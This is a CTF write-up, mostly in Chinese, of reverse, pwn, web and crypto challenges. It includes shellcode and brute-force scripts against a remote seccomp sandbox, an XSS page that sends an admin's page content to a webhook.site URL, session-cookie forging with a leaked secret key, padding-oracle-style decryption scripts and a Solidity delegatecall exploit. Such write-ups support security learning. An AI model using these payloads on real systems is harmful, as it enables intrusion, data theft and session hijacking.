AIS3 EOF CTF writeup

Reverse

Ransomware

看到題目名稱是勒索病毒，大概就可以猜出資料夾內的圖片應該是經過某種加密所以無法讀取，病毒本身的 decompiled code 很簡短，所以很快就可以找到加密的 function。觀察一下 function 內的行為發現每次加密會把檔案 padding 到 0x1000*((filesize%0x1000)+1)，也就是 padding 到 0x1000 的倍數，而加密的方式是會拿原本的檔案內容 xor 程式內已經預設好的 block (size 0x4000)，加密一開是會先經過一連串的運算來得到 v8 (block offset)來當作開始和檔案做加密的起始位子，如何得到 v8 的過程並不重要，因為我們可以透過已經被加密的檔案還原。檔案最後面一定會殘留一塊 block 的片段，這是因為要 padding 到 0x1000 的倍數，所以會有一塊連續的空間是 block 的內容和 0x0 xor 出來的結果，我們就可以利用這段殘留的 block 內容，經過跟原始 block 的比對，回推出 v8 當初的值以及加密前的檔案 size。有了這兩個關鍵資訊就可以先用 dd 把 block 切出來，再透過相同的加密演算法還原出原本的檔案內容了。結果 flag 竟然是拼圖碎片，一開始沒發現 readme.txt 有拼圖提示，結果丟到 google 相簿他竟然會幫忙排好大部分的圖片，酷！

xor encrypt code

```
while ( (unsigned int)dwSize > v7 )
    {
      *((_BYTE *)lpBuffer + (int)v7++) ^= byte_404020[v8 % dword_408020];
      ++v8;
    }
```

exploit code

```
#!python3

blocksize = 0x4000
addsize = 0x1000

buffer = open('block', 'rb').read()
for file in range(143):
    data = open(str(file+1) + '.jpg', 'rb').read()

    size = len(data) - addsize

    flag = 0
    for i in range(blocksize - addsize):
        for k in range(addsize):
            count = 0
            for j in range(addsize - k):
                if(buffer[(i+j) % blocksize] == data[size+k+j]):
                    count += 1
                    if(count == 50):
                        v8 = (i - (size + k) % blocksize + blocksize) % blocksize
                        print(file+1, i, v8)
                        flag = 1
                        break
                else: break
```

```
            if(flag == 1): break
        if(flag == 1): break
    if(flag != 1): continue
    recovery = b''
    for i in range(size+k):
        recovery += (data[i] ^ buffer[(v8 + i) % blocksize]).to_bytes(length=1,
byteorder='little')

    f = open('output/' + str(file+1) + '.jpg', 'wb').write(recovery)
```

flag

```
FLAG{7hi5_fl4g_1S_supper_long_and_I_wrote_this_on_my_ipad_with_my_apple_pencil_wo
w_it_is_cool!surface?
not_cool_cuz_it_is_not_even_a_fruit_ok_I_talk_too_much_it_is_really_annoying_but_
I_wont_stop!}
```

Pwn

EDUshell

這題給你一個shell,裡面有幾個有用的指令.
loadflag指令,會把flag 讀進byte_40E0的位置,但是之後會call seccomp把除了read, exit mmap之外的指令都ban掉了.所以一般printf,write都不可行.

```
fd = open("/home/EDUshell/flag", 0, 0LL);
  if ( fd < 0 )
    printerror_1249("load flag failed");
  if ( read(fd, &byte_40E0, 0x100uLL) <= 0 ) //load flag is load into memory
    printerror_1249("load flag failed");
  seccomp(); // call seccomp, only read, exit, mmap can be used
```

exec的指令,會把後面的參數複製進mmap,然後當function call,所以這裡可以寫shellcode.且在寫進mmap前會先檢查flag是否已經被load進memory,如果有才能繼續執行.因此我們必須在只有read,exit的情況下把flag從memory中leak出來.

```
if ( !byte_40E0 ) //check flag is load into memory
    _exit(0);
  v5 = strchr(a1, 32);
  if ( !v5 )
    _exit(0);
  v1 = (char *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL); //copy argument into mmap
  dest = v1;
  v3 = v1;
  strcpy(v1, v5 + 1);
  ((void (__fastcall *)(char *, char *))dest)(v3, v5 + 1); //call shellcode
```

pwntools可以知道程式或連線是否還再執行,因此我們可以用shellcode去暴搜flag的每一個byte,如果找到了就call exit結束程式,只要程式結束,我們就知道我們找對了.

shellcode:

```
    mov r11, rdx
    add r11, 0x1010107a
```

```
    sub r11, 0x10101010
    sub r12, 0x1011251
    add r12, 0x1010101
    mov r13, r12
    add r13, 0x10141e1
    sub r13, 0x1010101
    add r12, 0x10105c01
    sub r12, 0x10101001
    mov rdi, 0x1010111
    sub rdi, 0x1010111
    mov rdx, 0x1010111
    sub rdx, 0x1010110
    mov rsi, r12
    syscall         //call read讀一個byte決定要檢查flag哪一個byte
    mov r14, r13
    add r14, [r12]
test:
    mov rax, 0x1010101
    sub rax, 0x1010101
    add r12, 0x1010111
    sub r12, 0x1010110
    mov rsi, r12
    syscall         //call read讀一個byte,暴搜的值
    mov al, [r14]
    mov r15, [r12]
    cmp rax, r15   //檢查暴搜值是否正確
    jne test       //如果正確就call exit,如果不正確就跳到test繼續檢查
    mov rax, 0x101014c
    sub rax, 0x1010110
    mov rdi, 0x1010111
    sub rdi, 0x1010111
    syscall
```

暴搜flag:

```
flag = ''
for i in range(64):
    #r = process('./EDUshell')
    r = remote('eofqual.zoolab.org', 10101)
    loadflag()
    exec(shellcode)
    #index
    r.send(i.to_bytes(1, byteorder='big'))
    time.sleep(0.02)
    temp = ''
    for c in string.printable:
        if r.connected(direction = 'any') is True: //檢查連線是否結束,如果結束代表找對
值了
            #test value
            r.send(c)
            time.sleep(0.1) //加個延遲防止input混在一起
            temp = chr(ord(c) - 1)
        else:
            flag = flag + temp
            print(flag)
            break
```

得到flag:

```
FLAG{5ee_thr0ugh_th3_b1ind3d_3y3s}
```

Web

Zero Storage System (FLAG A)

首先簡單看一下網站，是跟之前作業一樣沒註冊帳號密碼會自動幫你註冊然後登入的網站
網站界面上的功能有三個，一個是上傳檔案，另一個是好友邀請，最後一個是傳連結給admin看

根據題目的提示FLAG A是admin上傳檔案的內容，於是先去找跟瀏覽檔案有關的code
發現view這個功能會根據filename參數去資料庫找出owner_id，如果你跟owner_id是朋友就可以看
所以首要目標是跟admin變成朋友

```
@login_required
async def view(request, user):
    filename = request.query_params.get('filename', '')
    async with db.execute('SELECT owner_id FROM files WHERE filename = ?',
(filename, )) as cursor:
        row = await cursor.fetchone()
        owner_id, = (None, ) if row is None else row
    if owner_id is None:
        return TemplateResponse('show.html', {'request': request, 'note': 'No
such file!'})
    if await is_friend(user.id, owner_id):
        return FileResponse(UPLOAD_DIR / filename)
    return TemplateResponse('show.html', {'request': request, 'note': "You need
to be friends first to view other's files."})
```

接著看一下交友的befriend，它會吃friend_name的參數，然後把你跟friend的id放進資料庫裡面

```
@login_required
async def befriend(request, user):
    friend_name = request.query_params.get('friend_name', '')
    friend_id = await get_id_from_name(friend_name)
    if friend_id == user.id:
        return TemplateResponse('show.html', {'request': request, 'note': "You
cannot be a friend of yourself...."})
    if friend_id is None:
        return TemplateResponse('show.html', {'request': request, 'note':
"Oops.... your friend doesn't seem to exist."})
    async with db.execute('INSERT OR IGNORE INTO friendship (user_id, to_id)
VALUES (?, ?)', (user.id, friend_id)):
        await db.commit()
    return Redirect('home')
```

試著對admin發出邀請(source code裡面可以得知admin的name就是admin)，然後會顯示friend requests sent，代表對方也要申請跟你成為好友才行
這時候就要用到上傳連結給admin的功能了，從source code可以知道上傳後它會先用admin的身份登入再看你的連結
所以你只要讓admin用befriend，參數設成你的username就好

```
http://zero-storage-eof-ctf.csie.org:1310/befriend?friend_name=your_name
```

上傳後就會顯示你跟admin是朋友了
變朋友後問題變成admin的filename會是什麼，試過source code裡面的flag_a.txt並不是，應該是環境變數給的檔名
由於filename查詢是用sql query，決定來嘗試sql injection，不過注入並沒有成功，查了一下?的寫法是安全的沒有漏洞，必須用其他漏洞

另個洞就是上傳檔案給server看的部份，從source code可以知道能上傳的檔案類型包含html，存在XSS的可能
而從admin login可以看出filename會被放在session cookie裡面，不過cookie被設成httpOnly，無法使用fetch直接拿到

```
async def admin_login(request):
    if is_admin_request(request):
        request.session.clear()
        request.session.update({'id': 0, 'filenames': [ADMIN_FILENAME]})
    return Redirect('home')
```

雖然admin無法再上傳檔案，可是可以從自己的界面去推測admin的頁面
試著上傳個檔案發現經過random的檔名會出現在自己的頁面上，合理推測admin的檔名也會出現在它的頁面上
所以只要拿到它body的內容就好
這時候就可以用作業Zero Note Revenge用到的技巧，用兩層fetch，把admin頁面的內容傳給你監控的網站上面，這邊使用webhook
撈出來的內容會很多，所以事先切好，因為admin只會有一個file，每個file都會是<a href開頭的連結

```
<!doctype html>

<html lang="en">
<head>
  <meta charset="utf-8">

  <title>Test</title>

</head>

<body>


  <script>
    fetch("http://zero-storage-eof-ctf.csie.org:1310/home")
    .then(res => res.text())
    .then(function(data){
        var a = data.match('<a href=.*</a>')[0];
        fetch('https://webhook.site/08d88f4f-d7aa-41f6-aad5-75f9a5e29b8a/?' +
btoa(a));
    })

  </script>

</body>
</html>
```

收到後進行base64 decode就拿到檔名

```
<a href="/view?filename=maSAAkI-kiSHIbE-sONG-for-
1310_hepHNKnZQntYd0pd.txt">maSAAkI-kiSHIbE-sONG-for-1310_hepHNKnZQntYd0pd.txt</a>
```

用view然後把參數filename設成拿到的檔名就會看到flag了

```
FLAG{i_guess_I_run_OuT_of_IDEAs_ABouT_NuMbers......}
```

Zero Storage System (FLAG B)

有一個一看就很詭異的function,debug_user會把password給印出來,而flag就是password,所以應該就是打這個點.要印出password,得先讓request.session debug = True.

```
async def debug_user(request):
    data = request.session.get('debug', False)
    if not request.session.get('debug', False):
        return TemplateResponse('show.html', {'request': request, 'note': data})
    uid = request.query_params.get('id', request.session.get('id', -1))
    async with db.execute('SELECT user, pass FROM users WHERE id = ?', (uid, ))
as cursor:
        row = await cursor.fetchone()
        user, pas = (None, None) if row is None else row
    return TemplateResponse('show.html', {
        'request': request,
        'pre': True,
        'note': f'''id : {uid}
name: {user}
pass: {pas}
'''
    })
```

根據Starlette的機制,cookie會先用secret key簽過再拿來使用,因此如果我們可以知道secret key就可以偽造cookie,也就可以把debug設成true就可以印出flag了.

首先得知道secret key的值,而exception handler會把app裡所有的attribute都印出來,其中就包含了secret key.所以可以透過存取不存在的頁面得到secret key.

```
async def exception_handler(request, exc):
    return TemplateResponse('show.html', {
        'request': request,
        'pre': True,
        'note':'\n'.join(['Internal Server Error:'] + [f'- {k}: {getattr(app,
k)}' for k in app.__dir__()])
    }, status_code=500)

app = Starlette(
...
middleware=[
        # httponly is always enabled. The https_only here means "secure" flag in
cookies
        # See source code:
        #
https://github.com/encode/starlette/blob/8dac5c2c7c986121f57c6741f01b1df300eb5faa
/starlette/middleware/sessions.py
        Middleware(SessionMiddleware, secret_key='Ludibrium-Secret-
133.221.333.123.111_kvYAtbZkwkhyPv5B', same_site='Strict', https_only=False),
```

```
    ],
...
```

secret key:

```
Ludibrium-Secret-133.221.333.123.111_kvYAtbZkwkhyPv5B
```

由於題目有給docker檔,直接把server架起來,把secret key改成題目的,再寫一個function偽造cookie,然後簽名.
偽造cookie,debug = True,id是admin的id, 0.

```
//cookie{'debug': True, 'id': 0, "filenames": []}
request.session.update({'debug': True, 'id': 0,  "filenames": []})
```

然後存取這個頁面,就會得到偽造的cookie,再帶這個cookie存取題目的debug_user,就可以得到flag.

Crypto

Chatroom

本題的 flag 為 ascii，而它會把收到的密文解密，檢查是否符合 utf-8 的加密方式。
可以攻擊的方法為，透過回傳的錯誤訊息，丟入機器中解密，搭配男的三個byte來解出每個byte。
也可以預先使用 xor \x80 or \xc0 來將預設的 ascii 調整為10 開頭或是 110 開頭，來符合utf-8 的解密方式。再來做接下來的猜測，詳細的utf-8 decode 規則請看revenge的部分。

```
from pwn import *

BLOCK = 8

term = b'\xe7\x94\xb7' # 男

chunk = lambda x : [x[i:i+BLOCK] for i in range(0, len(x), BLOCK)]
_xor = lambda a, b: bytes(ai ^ bi for ai, bi in zip(a, b))
lshift = lambda data: bytes([(d<<1) % 256 for d in data])

def xor(a, *bs) :
    for b in bs :
        a = _xor(a, b)
    return a


# socat tcp-listen:10000,fork,reuseaddr EXEC:"python3 server.py"
# conn = remote('localhost', 10000)
# conn = remote('eofqual.zoolab.org', 10110)
# ['FLAG{0r?', 'cL3_nEV?', 'R_D1e}\x00?']
# ['FLAG{0s?', 'cL3_nEW?', 'R_D1e}\x01?']

conn.recvuntil('聊天室房間號碼: ')
iv, *enc = chunk(bytes.fromhex(conn.recvline().strip().decode()))
cipher, md5 = enc[:-2], enc[-2:]
print("IV", iv)
print("CIP", cipher)
print("MD5", md5)

def oracle(message) :
```

```
    conn.sendlineafter('輸入訊息: ', message.hex())
    return conn.recvline().strip().decode('utf-8')

FLAG1 = []
FLAG2 = []
block0 = iv
block1 = cipher[0]
for blocks in range(2,len(cipher)) :
    flag1 = '?'
    flag2 = '?'
    pad = b''
    if blocks > 0 :
        block0 = cipher[blocks-1]
        block1 = cipher[blocks]
    for curr in range(8) :
        ans_c = set([])
        for fixed in [b'\x80',b'\xc0'] :
            state = {}
            for h in [hex(i)[-1] for i in range(16)] :
                for l in [hex(i)[-1] for i in range(16)] :
                    payload = xor(block0, fixed.rjust(8 - curr,b'\x00')
                     + b'\x00' *
                      curr, bytes.fromhex(h+l).rjust(8-len(fixed)-curr,b'\x00')
                     + b'\x00' * (curr+len(fixed)) ) + block1
                    mes = oracle(payload)
                    if '陌生人' in mes :
                        try :
                            state[h].append(l)
                        except :
                            state[h] = []
                            state[h].append(l)

                if h in state and len(state[h]) == 14 : # c? -> c0, c1
                    for bs in '0123456789abcdef':
                        if not bs in state[h] :
                            to_c = bytes.fromhex(h + bs)[0]
                            ans_c.add(chr(to_c ^ 0xc0))
                            ans_c.add(chr(to_c ^ 0xc1))
        ans_e = set([])
        if curr > 0 :
            for fixed in [b'\x80\x80',b'\x80\xc0',b'\xc0\x80',b'\xc0\xc0'] :
                state = {}
                for h in [hex(i)[-1] for i in range(16)] :
                    payload = xor(block0, fixed.rjust(8 - curr + 1,b'\x00')
                     + b'\x00' * curr, bytes.fromhex(h+'0').rjust(6-
curr+1,b'\x00')
                     + b'\x00' * (curr+2) ) + block1
                    mes = oracle(payload)
                    if '陌生人' in mes :
                        for l in [hex(i)[-1] for i in range(16)] :
                            payload = xor(block0, fixed.rjust(8 - curr+1,b'\x00')
                             + b'\x00' *
                               curr, bytes.fromhex(h+l).rjust(6-curr+1,b'\x00')
                             + b'\x00' * (curr+2) ) + block1
                            mes = oracle(payload)
                            if '陌生人' in mes :
                                try :
                                    state[h].append(l)
```

```
                                except :
                                    state[h] = []
                                    state[h].append(l)
                    if h in state and len(state[h]) == 15 : # e? -> e0, ed
                        for bs in '0123456789abcdef':
                            if not bs in state[h] :
                                to_e0 = bytes.fromhex(h + bs)
                                byte = bytes([to_e0[0]^0xe0])
                                ans_e.add(chr(to_e0[0]^0xe0))
                                ans_e.add(chr(to_e0[0]^0xed))
                                target = bin(byte[0])[2:].zfill(8)
            ans = ans_c.intersection(ans_e)
            try :
                flag1 = list(ans)[0] + flag1
                flag2 = list(ans)[0] + flag2
                print(flag1, flag2)
            except :
                pass
        else :
            flag1 = list(ans_c)[0] + flag1
            flag2 = list(ans_c)[1] + flag2
            print(flag1, flag2)
    FLAG1.append(flag1)
    FLAG2.append(flag2)
    print(FLAG1)
    print(FLAG2)

conn.interactive()
```

Chatroom-Revenge

本題的開頭可以發現，這題一樣是CBC，需要類似POA的攻擊手法，但是Flag改成用utf-8開啟，所以需要考慮utf-8的規則。透過噴出陌生人的訊息來判斷是否decode成功。

首先需要判斷本題的 bytecode 架構，為三個一組還是兩個一組還是單一一個(ascii)。接著才能對每一組的code 進行猜測。

首先若為兩個 byte 則前面那個就會是 0xc2~0xcf，需要符合碼值的開頭，這串 byte 才能通過檢查。若前四個 bit 固定有 14 種，則剩下兩個分別 xor 0xc0, 0xc1其中一個就會是答案。

若為三個 byte 的情況，則有兩種情形。因為其中一段碼值為非，造成這個情形。第一種為第二個 byte 是 101 開頭，則第一個 byte 除了 0xed，其他0xe? 都會通過檢查。第二種為第二個 byte 是 100 開頭，則第一個 byte 除了 0xe0 其他 0xe? 都會通過。兩種其中一個就會是答案。

最後，將兩個集合取交集，就可以得出 Flag。

```
from pwn import *

BLOCK = 8

term = b'\xe7\x94\xb7' # 男

chunk = lambda x : [x[i:i+BLOCK] for i in range(0, len(x), BLOCK)]
_xor = lambda a, b: bytes(ai ^ bi for ai, bi in zip(a, b))
lshift = lambda data: bytes([(d<<1) % 256 for d in data])

def xor(a, *bs) :
```

```
    for b in bs :
        a = _xor(a, b)
    return a


# socat tcp-listen:10000,fork,reuseaddr EXEC:"python server.py"
DEBUG_FLAG = 'FLAG{你媽臭機8}'.encode('utf-8')
DEBUG_FLAG = chunk(DEBUG_FLAG)
# conn = remote('localhost', 10000)
conn = remote('eofqual.zoolab.org', 10111)

conn.recvuntil('聊天室房間號碼: ')
iv, *enc = chunk(bytes.fromhex(conn.recvline().strip().decode()))
cipher, md5 = enc[:-2], enc[-2:]
print("IV", iv)
print("CIP", cipher)
print("MD5", md5)

def oracle(message) :
    conn.sendlineafter('輸入訊息: ', message.hex())
    return conn.recvline().strip().decode('utf-8')

ENC = [iv] + cipher

FLIP = [
    [0, 0, 0, 0, 0, 3, 3, 3],
    [3, 3, 3, 3, 3, 3, 2, 2],
    [1, 0, 0, 0, 0, 0, 0, 0]
]

FLAG1 = []
FLAG2 = []
block0 = ENC[0]
block1 = ENC[1]
for blocks in range(len(ENC)) :
    flag1 = '?'
    flag2 = '?'
    pad = b''
    # if blocks > 0 :
    block0 = xor(ENC[blocks], b''.join([ b'\x80' if b != 0 else b'\x00'
                 for b in FLIP[blocks] ]) )
    block1 = ENC[blocks+1]
    for curr in range(8) :
        ans_c = set([])
        for fixed in [b'\x80',b'\xc0'] :
            state = {}
            for h in [hex(i)[-1] for i in range(16)] :
                for l in [hex(i)[-1] for i in range(16)] :
                    payload = xor(block0, fixed.rjust(8 - curr,b'\x00')
                     + b'\x00' *
                       curr, bytes.fromhex(h+l).rjust(8-len(fixed)-curr,b'\x00')
                     + b'\x00' * (curr+len(fixed)) ) + block1
                    mes = oracle(payload)
                    if '陌生人' in mes :
                        try :
                            state[h].append(l)
                        except :
                            state[h] = []
```

```
                            state[h].append(l)

                if h in state and len(state[h]) == 14 : # c? -> c0, c1
                    for bs in '0123456789abcdef':
                        if not bs in state[h] :
                            to_c = bytes.fromhex(h + bs)[0]
                            ans_c.add(chr(to_c ^ 0xc0))
                            ans_c.add(chr(to_c ^ 0xc1))
        ans_e = set([])
        if curr > 0 :
            for fixed in [b'\x80\x80',b'\x80\xc0',b'\xc0\x80',b'\xc0\xc0'] :
                state = {}
                for h in [hex(i)[-1] for i in range(16)] :
                    payload = xor(block0, fixed.rjust(8 - curr + 1,b'\x00')
                     + b'\x00' * curr, bytes.fromhex(h+'0').rjust(6-
curr+1,b'\x00')
                     + b'\x00' * (curr+2) ) + block1
                    mes = oracle(payload)
                    if '陌生人' in mes :
                        for l in [hex(i)[-1] for i in range(16)] :
                            payload = xor(block0, fixed.rjust(8 - curr+1,b'\x00')
                             + b'\x00' *
                               curr, bytes.fromhex(h+l).rjust(6-curr+1,b'\x00')
                             + b'\x00' * (curr+2) ) + block1
                            mes = oracle(payload)
                            if '陌生人' in mes :
                                try :
                                    state[h].append(l)
                                except :
                                    state[h] = []
                                    state[h].append(l)
                    if h in state and len(state[h]) == 15 : # e? -> e0, ed
                        for bs in '0123456789abcdef':
                            if not bs in state[h] :
                                to_e0 = bytes.fromhex(h + bs)
                                byte = bytes([to_e0[0]^0xe0])
                                ans_e.add(chr(to_e0[0]^0xe0))
                                ans_e.add(chr(to_e0[0]^0xed))
                                target = bin(byte[0])[2:].zfill(8)
            ans = ans_c.intersection(ans_e)
            try :
                flag1 = list(ans)[0] + flag1
                flag2 = list(ans)[0] + flag2
                print(flag1, flag2)

            except :
                flag1 = '?' + flag1
                flag2 = '?' + flag2
        else :
            flag1 = list(ans_c)[0] + flag1
            flag2 = list(ans_c)[1] + flag2
            print(flag1, flag2)

    FLAG1.append(flag1)
    FLAG2.append(flag2)
    print(FLAG1)
    print(FLAG2)
```

```
print(DEBUG_FLAG)
```

Chameleon

觀察本題的題目 contract 發現只要 sendFlag 為 True 就可以向 server 要 flag。所以製作一個假的合約和題目給的合約互動，希望可以把這個值調為 True。 題目使用 delegatecall 來 call 另一個合約的 function，所以如果製造一個 hack 合約，若假合約跟題目合約互動，題目合約會 call 假合約的 Fallback function ，且此時會使用假合約的此 function 定義的所有 code 來操作自己所有的資料，所以可以透過此時操作題目合約的 sendFlag 值為 True。
設計的假合約希望製造一個 fallback function 可以通過第一次的 delegatecall 回傳 false 才會讓 success 失敗，進到第二輪 delegatecall。但是若要第一輪回傳 false 則代表此次 function 需要 call revert 代表此次 call 失敗，倒反所有的設定。問題卡在無法在 revert 的情況下保留一個中介值來紀錄現在是第幾次的 call delegate，這樣才能在第二次的時候回傳 sendFlag 為 true 值。嘗試過的方法有設定另外一個新的合約來記錄值，或是使用 assembly code，或是使用機率猜測，但都沒有成功。

```
ithSignature(""));
        // require(success);
    }
    function checkFlag() public view returns(bool) {
        return sendFlag;
    }
    function checkRandomNumber() public view returns(uint256) {
        return randomNumber;
    }
}

contract ChameleonHack {
    uint randomNumber = 0;
    bool public sendFlag = false;

    function run(address _target) public {
        Chameleon chameleon = Chameleon(_target);
        chameleon.HideAndSeek();
    }


    function() external {
        // if (randomNumber == 0) {
        //     randomNumber = 1;
        //     require(sendFlag);
        // } else {
        //     sendFlag = true;
        // }


        sendFlag = true;
        randomNumber = 1;
        uint memOffset;
        assembly {
            // revert(0, 0x00);
            memOffset := msize() // Get the highest available block of memory
            mstore(add(memOffset, 0x00), 6) // Set value
            mstore(0x40, add(memOffset, 0x20))
            // Update the msize offset to be our memory
            // reference plus the amount of bytes we're using
```

```
            revert(memOffset,  0x20) // revert returning 1 byte
        }
    }
}
```